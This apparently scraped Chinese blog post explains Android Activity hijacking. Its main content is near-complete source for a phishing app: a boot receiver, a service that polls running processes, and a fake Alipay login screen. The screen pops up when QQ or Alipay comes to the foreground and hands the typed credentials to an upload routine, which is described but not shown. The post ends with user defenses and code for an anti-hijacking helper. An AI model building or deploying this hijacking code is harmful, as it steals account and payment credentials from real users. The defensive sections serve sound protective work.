activity劫持反劫持

一、Activity調度機制javascript

android爲了提升用戶的用戶體驗,對於不一樣的應用程序之間的切換,基本上是無縫。他們切換的只是一個activity,讓切換的到前臺顯示,另外一個應用則被覆蓋到後臺,不可見。Activity的概念至關於一個與用戶交互的界面。而Activity的調度是交由Android系統中的AmS管理的。AmS即ActivityManagerService(Activity管理服務),各個應用想啓動或中止一個進程,都是先報告給AmS。 當AmS收到要啓動或中止Activity的消息時,它先更新內部記錄,再通知相應的進程運行或中止指定的Activity。當新的Activity啓動,前一個Activity就會中止,這些Activity都保留在系統中的一個Activity歷史棧中。每有一個Activity啓動,它就壓入歷史棧頂,並在手機上顯示。當用戶按下back鍵時,頂部Activity彈出,恢復前一個Activity,棧頂指向當前的Activity。 html

二、Android設計上的缺陷——Activity劫持 
java

若是在啓動一個Activity時,給它加入一個標誌位FLAG_ACTIVITY_NEW_TASK,就能使它置於棧頂並立馬呈現給用戶。 
可是這樣的設計卻有一個缺陷。若是這個Activity是用於盜號的假裝Activity呢? 
在Android系統當中,程序能夠枚舉當前運行的進程而不須要聲明其餘權限,這樣子咱們就能夠寫一個程序,啓動一個後臺的服務,這個服務不斷地掃描當前運行的進程,當發現目標進程啓動時,就啓動一個假裝的Activity。若是這個Activity是登陸界面,那麼就能夠從中獲取用戶的帳號密碼。 

android

 一個運行在後臺的服務能夠作到以下兩點:1,決定哪個activity運行在前臺  2,運行本身app的activity到前臺。express

 這樣,惡意的開發者就能夠對應程序進行攻擊了,對於有登錄界面的應用程序,他們能夠僞造一個如出一轍的界面,普通用戶根本沒法識別是真的仍是假。用戶輸入用戶名和密碼以後,惡意程序就能夠悄無聲息的把用戶信息上傳到服務器了。這樣是很是危險的。apache


實現原理:若是咱們註冊一個receiver,響應android.intent.action.BOOT_COMPLETED,使得開啓啓動一個service;這個service,會啓動一個計時器,不停枚舉當前進程中是否有預設的進程啓動,若是發現有預設進程,則使用FLAG_ACTIVITY_NEW_TASK啓動本身的釣魚界面,截獲正常應用的登陸憑證。服務器


三、示例 
下面是示例代碼。 
AndroidManifest.xml文件的代碼。
網絡

[html] view plaincopyapp

  1. <?xml version="1.0" encoding="utf-8"?>  less

  2. <manifest xmlns:android="http://schemas.android.com/apk/res/android"  

  3.     package="com.sinaapp.msdxblog.android.activityhijacking"  

  4.     android:versionCode="1"  

  5.     android:versionName="1.0" >  

  6.   

  7.     <uses-sdk android:minSdkVersion="4" />  

  8.   

  9.     <uses-permission android:name="android.permission.INTERNET" />  

  10.     <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />  

  11.   

  12.     <application  

  13.         android:name=".HijackingApplication"  

  14.         android:icon="@drawable/icon"  

  15.         android:label="@string/app_name" >  

  16.         <activity  

  17.             android:name=".activity.HijackingActivity"  

  18.             android:theme="@style/transparent"  

  19.             android:label="@string/app_name" >  

  20.             <intent-filter>  

  21.                 <action android:name="android.intent.action.MAIN" />  

  22.   

  23.                 <category android:name="android.intent.category.LAUNCHER" />  

  24.             </intent-filter>  

  25.         </activity>  

  26.         <activity android:name=".activity.sadstories.JokeActivity" />  

  27.         <activity android:name=".activity.sadstories.QQStoryActivity" />  

  28.         <activity android:name=".activity.sadstories.AlipayStoryActivity" />  

  29.   

  30.         <receiver  

  31.             android:name=".receiver.HijackingReceiver"  

  32.             android:enabled="true"  

  33.             android:exported="true" >  

  34.             <intent-filter>  

  35.                 <action android:name="android.intent.action.BOOT_COMPLETED" />  

  36.             </intent-filter>  

  37.         </receiver>  

  38.   

  39.         <service android:name=".service.HijackingService" >  

  40.         </service>  

  41.     </application>  

  42.   

  43. </manifest>  


在以上的代碼中,聲明瞭一個服務service,用於枚舉當前運行的進程。其中若是不想開機啓動的話,甚至能夠把以上receiver部分的代碼,及聲明開機啓動的權限的這一行代碼 <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />去掉,僅僅須要訪問網絡的權限(向外發送獲取到的帳號密碼),單從AndroidManifest文件是看不出任何異常的。 

下面是正常的Activity的代碼。在這裏只是啓動用於Activity劫持的服務。若是在上面的代碼中已經聲明瞭開機啓動,則這一步也能夠省略。 

 

[javascript] view plaincopy

  1. package com.sinaapp.msdxblog.android.activityhijacking.activity;  

  2.   

  3. import android.app.Activity;  

  4. import android.content.Intent;  

  5. import android.os.Bundle;  

  6. import android.util.Log;  

  7.   

  8. import com.sinaapp.msdxblog.android.activityhijacking.R;  

  9. import com.sinaapp.msdxblog.android.activityhijacking.service.HijackingService;  

  10.   

  11. public class HijackingActivity extends Activity {  

  12.     /** Called when the activity is first created. */  

  13.     @Override  

  14.     public void onCreate(Bundle savedInstanceState) {  

  15.         super.onCreate(savedInstanceState);  

  16.         setContentView(R.layout.main);  

  17.         Intent intent2 = new Intent(this, HijackingService.class);  

  18.         startService(intent2);  

  19.         Log.w("hijacking""activity啓動用來劫持的Service");  

  20.     }  

  21. }  


若是想要開機啓動,則須要一個receiver,即廣播接收器,在開機時獲得開機啓動的廣播,並在這裏啓動服務。若是沒有開機啓動(這跟上面至少要實現一處,否則服務就沒有被啓動了),則這一步能夠省略。

[java] view plaincopy

  1. /* 

  2.  * @(#)HijackingBroadcast.java             Project:ActivityHijackingDemo 

  3.  * Date:2012-6-7 

  4.  * 

  5.  * Copyright (c) 2011 CFuture09, Institute of Software,  

  6.  * Guangdong Ocean University, Zhanjiang, GuangDong, China. 

  7.  * All rights reserved. 

  8.  * 

  9.  * Licensed under the Apache License, Version 2.0 (the "License"); 

  10.  *  you may not use this file except in compliance with the License. 

  11.  * You may obtain a copy of the License at 

  12.  * 

  13.  *     http://www.apache.org/licenses/LICENSE-2.0 

  14.  * 

  15.  * Unless required by applicable law or agreed to in writing, software 

  16.  * distributed under the License is distributed on an "AS IS" BASIS, 

  17.  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 

  18.  * See the License for the specific language governing permissions and 

  19.  * limitations under the License. 

  20.  */  

  21. package com.sinaapp.msdxblog.android.activityhijacking.receiver;  

  22.   

  23. import com.sinaapp.msdxblog.android.activityhijacking.service.HijackingService;  

  24.   

  25. import android.content.BroadcastReceiver;  

  26. import android.content.Context;  

  27. import android.content.Intent;  

  28. import android.util.Log;  

  29.   

  30. /** 

  31.  * @author Geek_Soledad (66704238@51uc.com) 

  32.  */  

  33. public class HijackingReceiver extends BroadcastReceiver {  

  34.   

  35.     @Override  

  36.     public void onReceive(Context context, Intent intent) {  

  37.         if (intent.getAction().equals("android.intent.action.BOOT_COMPLETED")) {  

  38.             Log.w("hijacking""開機啓動");  

  39.             Intent intent2 = new Intent(context, HijackingService.class);  

  40.             context.startService(intent2);  

  41.             Log.w("hijacking""啓動用來劫持的Service");  

  42.         }  

  43.     }  

  44. }  


下面這個HijackingService類可就關鍵了,即用來進行Activity劫持的。 
在這裏,將運行枚舉當前運行的進程,發現目標進程,彈出假裝程序。 
代碼以下:

[java] view plaincopy

  1. /* 

  2.  * @(#)HijackingService.java               Project:ActivityHijackingDemo 

  3.  * Date:2012-6-7 

  4.  * 

  5.  * Copyright (c) 2011 CFuture09, Institute of Software,  

  6.  * Guangdong Ocean University, Zhanjiang, GuangDong, China. 

  7.  * All rights reserved. 

  8.  * 

  9.  * Licensed under the Apache License, Version 2.0 (the "License"); 

  10.  *  you may not use this file except in compliance with the License. 

  11.  * You may obtain a copy of the License at 

  12.  * 

  13.  *     http://www.apache.org/licenses/LICENSE-2.0 

  14.  * 

  15.  * Unless required by applicable law or agreed to in writing, software 

  16.  * distributed under the License is distributed on an "AS IS" BASIS, 

  17.  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 

  18.  * See the License for the specific language governing permissions and 

  19.  * limitations under the License. 

  20.  */  

  21. package com.sinaapp.msdxblog.android.activityhijacking.service;  

  22.   

  23. import java.util.HashMap;  

  24. import java.util.List;  

  25.   

  26. import android.app.ActivityManager;  

  27. import android.app.ActivityManager.RunningAppProcessInfo;  

  28. import android.app.Service;  

  29. import android.content.Context;  

  30. import android.content.Intent;  

  31. import android.os.Handler;  

  32. import android.os.IBinder;  

  33. import android.util.Log;  

  34.   

  35. import com.sinaapp.msdxblog.android.activityhijacking.HijackingApplication;  

  36. import com.sinaapp.msdxblog.android.activityhijacking.activity.sadstories.AlipayStoryActivity;  

  37. import com.sinaapp.msdxblog.android.activityhijacking.activity.sadstories.JokeActivity;  

  38. import com.sinaapp.msdxblog.android.activityhijacking.activity.sadstories.QQStoryActivity;  

  39.   

  40. /** 

  41.  * @author Geek_Soledad (66704238@51uc.com) 

  42.  */  

  43. public class HijackingService extends Service {  

  44.     private boolean hasStart = false;  

  45.     // 這是一個悲傷的故事……  

  46.     HashMap<String, Class<?>> mSadStories = new HashMap<String, Class<?>>();  

  47.   

  48.     // Timer mTimer = new Timer();  

  49.     Handler handler = new Handler();  

  50.   

  51.     Runnable mTask = new Runnable() {  

  52.   

  53.         @Override  

  54.         public void run() {  

  55.             ActivityManager activityManager = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);  

  56.             List<RunningAppProcessInfo> appProcessInfos = activityManager  

  57.                     .getRunningAppProcesses();  

  58.             // 枚舉進程  

  59.             Log.w("hijacking""正在枚舉進程");  

  60.             for (RunningAppProcessInfo appProcessInfo : appProcessInfos) {  

  61.                 // 若是APP在前臺,那麼——悲傷的故事就要來了  

  62.                 if (appProcessInfo.importance == RunningAppProcessInfo.IMPORTANCE_FOREGROUND) {  

  63.                     if (mSadStories.containsKey(appProcessInfo.processName)) {  

  64.                         // 進行劫持  

  65.                         hijacking(appProcessInfo.processName);  

  66.                     } else {  

  67.                          Log.w("hijacking", appProcessInfo.processName);  

  68.                     }  

  69.                 }  

  70.             }  

  71.             handler.postDelayed(mTask, 1000);  

  72.         }  

  73.   

  74.         /** 

  75.          * 進行劫持 

  76.          * @param processName 

  77.          */  

  78.         private void hijacking(String processName) {  

  79.             Log.w("hijacking""有程序要悲劇了……");  

  80.             if (((HijackingApplication) getApplication())  

  81.                     .hasProgressBeHijacked(processName) == false) {  

  82.                 Log.w("hijacking""悲劇正在發生");  

  83.                 Intent jackingIsComing = new Intent(getBaseContext(),  

  84.                         mSadStories.get(processName));  

  85.                 jackingIsComing.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);  

  86.                 getApplication().startActivity(jackingIsComing);  

  87.                 ((HijackingApplication) getApplication())  

  88.                         .addProgressHijacked(processName);  

  89.                 Log.w("hijacking""已經劫持");  

  90.             }  

  91.         }  

  92.     };  

  93.   

  94.     @Override  

  95.     public IBinder onBind(Intent intent) {  

  96.         return null;  

  97.     }  

  98.   

  99.     @Override  

  100.     public void onStart(Intent intent, int startId) {  

  101.         super.onStart(intent, startId);  

  102.         if (!hasStart) {  

  103.             mSadStories.put("com.sinaapp.msdxblog.android.lol",  

  104.                     JokeActivity.class);  

  105.             mSadStories.put("com.tencent.mobileqq", QQStoryActivity.class);  

  106.             mSadStories.put("com.eg.android.AlipayGphone",  

  107.                     AlipayStoryActivity.class);  

  108.             handler.postDelayed(mTask, 1000);  

  109.             hasStart = true;  

  110.         }  

  111.     }  

  112.   

  113.     @Override  

  114.     public boolean stopService(Intent name) {  

  115.         hasStart = false;  

  116.         Log.w("hijacking""劫持服務中止");  

  117.         ((HijackingApplication) getApplication()).clearProgressHijacked();  

  118.         return super.stopService(name);  

  119.     }  

  120. }  


下面是支付寶的假裝類(佈局文件就不寫了,這個是對老版本的支付寶界面的假裝,新的支付寶登陸界面已經徹底不同了。表示老版本的支付寶的界面至關蛋疼,讀從它反編譯出來的代碼苦逼地讀了整個通宵結果仍是沒讀明白。它的登陸界面各類佈局蛋疼地嵌套了十層,而我爲了實現跟它同樣的效果也蛋疼地嵌套了八層的組件)。

[java] view plaincopy

  1. /* 

  2.  * @(#)QQStoryActivity.java            Project:ActivityHijackingDemo 

  3.  * Date:2012-6-7 

  4.  * 

  5.  * Copyright (c) 2011 CFuture09, Institute of Software,  

  6.  * Guangdong Ocean University, Zhanjiang, GuangDong, China. 

  7.  * All rights reserved. 

  8.  * 

  9.  * Licensed under the Apache License, Version 2.0 (the "License"); 

  10.  *  you may not use this file except in compliance with the License. 

  11.  * You may obtain a copy of the License at 

  12.  * 

  13.  *     http://www.apache.org/licenses/LICENSE-2.0 

  14.  * 

  15.  * Unless required by applicable law or agreed to in writing, software 

  16.  * distributed under the License is distributed on an "AS IS" BASIS, 

  17.  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 

  18.  * See the License for the specific language governing permissions and 

  19.  * limitations under the License. 

  20.  */  

  21. package com.sinaapp.msdxblog.android.activityhijacking.activity.sadstories;  

  22.   

  23. import android.app.Activity;  

  24. import android.os.Bundle;  

  25. import android.os.Handler;  

  26. import android.os.HandlerThread;  

  27. import android.text.Html;  

  28. import android.view.View;  

  29. import android.widget.Button;  

  30. import android.widget.EditText;  

  31. import android.widget.TextView;  

  32.   

  33. import com.sinaapp.msdxblog.android.activityhijacking.R;  

  34. import com.sinaapp.msdxblog.android.activityhijacking.utils.SendUtil;  

  35.   

  36. /** 

  37.  * @author Geek_Soledad (66704238@51uc.com) 

  38.  */  

  39. public class AlipayStoryActivity extends Activity {  

  40.     private EditText name;  

  41.     private EditText password;  

  42.     private Button mBtAlipay;  

  43.     private Button mBtTaobao;  

  44.     private Button mBtRegister;  

  45.   

  46.     private TextView mTvFindpswd;  

  47.   

  48.     @Override  

  49.     protected void onCreate(Bundle savedInstanceState) {  

  50.         super.onCreate(savedInstanceState);  

  51.         this.setTheme(android.R.style.Theme_NoTitleBar);  

  52.         setContentView(R.layout.alipay);  

  53.         mBtAlipay = (Button) findViewById(R.id.alipay_bt_alipay);  

  54.         mBtTaobao = (Button) findViewById(R.id.alipay_bt_taobao);  

  55.         mBtRegister = (Button) findViewById(R.id.alipay_bt_register);  

  56.         mTvFindpswd = (TextView) findViewById(R.id.alipay_findpswd);  

  57.         mTvFindpswd.setText(Html.fromHtml("[u]找回登陸密碼[/u]"));  

  58.         mBtAlipay.setSelected(true);  

  59.   

  60.         name = (EditText) findViewById(R.id.input_name);  

  61.         password = (EditText) findViewById(R.id.input_password);  

  62.   

  63.     }  

  64.   

  65.     public void onButtonClicked(View v) {  

  66.         switch (v.getId()) {  

  67.         case R.id.alipay_bt_login:  

  68.             HandlerThread handlerThread = new HandlerThread("send");  

  69.             handlerThread.start();  

  70.             new Handler(handlerThread.getLooper()).post(new Runnable() {  

  71.                 @Override  

  72.                 public void run() {  

  73.                     // 發送獲取到的用戶密碼  

  74.                     SendUtil.sendInfo(name.getText().toString(), password  

  75.                             .getText().toString(), "支付寶");  

  76.                 }  

  77.             });  

  78.             moveTaskToBack(true);  

  79.   

  80.             break;  

  81.         case R.id.alipay_bt_alipay:  

  82.             chooseToAlipay();  

  83.             break;  

  84.         case R.id.alipay_bt_taobao:  

  85.             chooseToTaobao();  

  86.             break;  

  87.         default:  

  88.             break;  

  89.         }  

  90.     }  

  91.   

  92.     private void chooseToAlipay() {  

  93.         mBtAlipay.setSelected(true);  

  94.         mBtTaobao.setSelected(false);  

  95.         name.setHint(R.string.alipay_name_alipay_hint);  

  96.         mTvFindpswd.setVisibility(View.VISIBLE);  

  97.         mBtRegister.setVisibility(View.VISIBLE);  

  98.     }  

  99.   

  100.     private void chooseToTaobao() {  

  101.         mBtAlipay.setSelected(false);  

  102.         mBtTaobao.setSelected(true);  

  103.         name.setHint(R.string.alipay_name_taobao_hint);  

  104.         mTvFindpswd.setVisibility(View.GONE);  

  105.         mBtRegister.setVisibility(View.GONE);  

  106.     }  

  107. }  


上面的其餘代碼主要是爲了讓界面的點擊效果與真的支付寶看起來儘可能同樣。主要的代碼是發送用戶密碼的那一句。 
至於SendUtil我就不提供了,它是向我寫的服務器端發送一個HTTP請求,將用戶密碼發送出去。 

下面是我在學校時用來演示的PPT及APK。 

演示文檔和APK

四、用戶防範 
android手機均有一個HOME鍵(即小房子的那個圖標),長按能夠看到近期任務 對於我所用的HTC G14而言,顯示的最近的一個是上一個運行的程序。小米顯示的最近的一個是當前運行的程序。因此,在要輸入密碼進行登陸時,能夠經過長按HOME鍵查看近期任務,以個人手機爲例,若是在登陸QQ時長按發現近期任務出現了QQ,則我如今的這個登陸界面就極有多是假裝了,切換到另外一個程序,再查看近期任務,就能夠知道這個登陸界面是來源於哪一個程序了。 
若是是小米手機的話,在進行登陸時,若是查看的近期任務的第一個不是本身要登陸的那個程序的名字,則它就是假裝的。 

並且這種方法也不是絕對的  能夠在AndroidManifest中相應activity下添加android:noHistory="true"這樣就不會把假裝界面顯示在最近任務中


五、反劫持

然而,若是真的爆發了這種惡意程序,咱們並不能在啓動程序時每一次都那麼當心去查看判斷當前在運行的是哪個程序,當android:noHistory="true"時上面的方法也無效   所以,前幾個星期花了一點時間寫了一個程序,叫反劫持助手。原理很簡單,就是獲取當前運行的是哪個程序,而且顯示在一個浮動窗口中,以幫忙用戶判斷當前運行的是哪個程序,防範一些釣魚程序的欺騙。

在這一次,因爲是「正當防衛」,就再也不經過枚舉來獲取當前運行的程序了,在manifest文件中增長一個權限: 

android權限

[html] view plaincopy

  1. <uses-permission android:name="android.permission.GET_TASKS" />  

而後啓動程序的時候,啓動一個Service,在Service中啓動一個浮動窗口,並週期性檢測當前運行的是哪個程序,而後顯示在浮動窗口中。 
程序截圖以下: 



其中Service代碼以下:

[java] view plaincopy

  1. /* 

  2.  * @(#)AntiService.java            Project:ActivityHijackingDemo 

  3.  * Date:2012-9-13 

  4.  * 

  5.  * Copyright (c) 2011 CFuture09, Institute of Software,  

  6.  * Guangdong Ocean University, Zhanjiang, GuangDong, China. 

  7.  * All rights reserved. 

  8.  * 

  9.  * Licensed under the Apache License, Version 2.0 (the "License"); 

  10.  *  you may not use this file except in compliance with the License. 

  11.  * You may obtain a copy of the License at 

  12.  * 

  13.  *     http://www.apache.org/licenses/LICENSE-2.0 

  14.  * 

  15.  * Unless required by applicable law or agreed to in writing, software 

  16.  * distributed under the License is distributed on an "AS IS" BASIS, 

  17.  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 

  18.  * See the License for the specific language governing permissions and 

  19.  * limitations under the License. 

  20.  */  

  21. package com.sinaapp.msdxblog.antihijacking.service;  

  22.   

  23. import android.app.ActivityManager;  

  24. import android.app.Notification;  

  25. import android.app.Service;  

  26. import android.content.Context;  

  27. import android.content.Intent;  

  28. import android.content.pm.PackageManager;  

  29. import android.content.pm.PackageManager.NameNotFoundException;  

  30. import android.os.Bundle;  

  31. import android.os.Handler;  

  32. import android.os.IBinder;  

  33. import android.os.Message;  

  34. import android.util.Log;  

  35.   

  36. import com.sinaapp.msdxblog.androidkit.thread.HandlerFactory;  

  37. import com.sinaapp.msdxblog.antihijacking.AntiConstants;  

  38. import com.sinaapp.msdxblog.antihijacking.view.AntiView;  

  39.   

  40. /** 

  41.  * @author Geek_Soledad (66704238@51uc.com) 

  42.  */  

  43. public class AntiService extends Service {  

  44.   

  45.     private boolean shouldLoop = false;  

  46.     private Handler handler;  

  47.     private ActivityManager am;  

  48.     private PackageManager pm;  

  49.     private Handler mainHandler;  

  50.     private AntiView mAntiView;  

  51.     private int circle = 2000;  

  52.   

  53.     @Override  

  54.     public IBinder onBind(Intent intent) {  

  55.         return null;  

  56.     }  

  57.   

  58.     @Override  

  59.     public void onStart(Intent intent, int startId) {  

  60.         super.onStart(intent, startId);  

  61.         startForeground(19901008new Notification());  

  62.         if (intent != null) {  

  63.              circle = intent.getIntExtra(AntiConstants.CIRCLE, 2000);  

  64.         }   

  65.         Log.i("circle", circle + "ms");  

  66.         if (true == shouldLoop) {  

  67.             return;  

  68.         }  

  69.         mAntiView = new AntiView(this);  

  70.         mainHandler = new Handler() {  

  71.             public void handleMessage(Message msg) {  

  72.                 String name = msg.getData().getString("name");  

  73.                 mAntiView.setText(name);  

  74.             };  

  75.         };  

  76.         pm = getPackageManager();  

  77.         shouldLoop = true;  

  78.         am = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);  

  79.         handler = new Handler(  

  80.                 HandlerFactory.getHandlerLooperInOtherThread("anti")) {  

  81.             @Override  

  82.             public void handleMessage(Message msg) {  

  83.                 super.handleMessage(msg);  

  84.                 String packageName = am.getRunningTasks(1).get(0).topActivity  

  85.                         .getPackageName();  

  86.                 try {  

  87.                     String progressName = pm.getApplicationLabel(  

  88.                             pm.getApplicationInfo(packageName,  

  89.                                     PackageManager.GET_META_DATA)).toString();  

  90.                     updateText(progressName);  

  91.                 } catch (NameNotFoundException e) {  

  92.                     e.printStackTrace();  

  93.                 }  

  94.   

  95.                 if (shouldLoop) {  

  96.                     handler.sendEmptyMessageDelayed(0, circle);  

  97.                 }  

  98.             }  

  99.         };  

  100.         handler.sendEmptyMessage(0);  

  101.     }  

  102.   

  103.     private void updateText(String name) {  

  104.         Message message = new Message();  

  105.         Bundle data = new Bundle();  

  106.         data.putString("name", name);  

  107.         message.setData(data);  

  108.         mainHandler.sendMessage(message);  

  109.     }  

  110.   

  111.     @Override  

  112.     public void onDestroy() {  

  113.         shouldLoop = false;  

  114.         mAntiView.remove();  

  115.         super.onDestroy();  

  116.     }  

  117.   

  118. }  


浮動窗口僅爲一個簡單的textview,非這次的技術重點,在這裏省略不講。 
固然,從以上代碼也能夠看出本程序只能防範經過Activity做爲釣魚界面的程序,由於它是經過運行的頂層的Activity來獲取程序名稱的,對WooYun最近提到的另外一個釣魚方法它仍是無能爲力的,關於這一點將在下次談。 

相關文章
相關標籤/搜索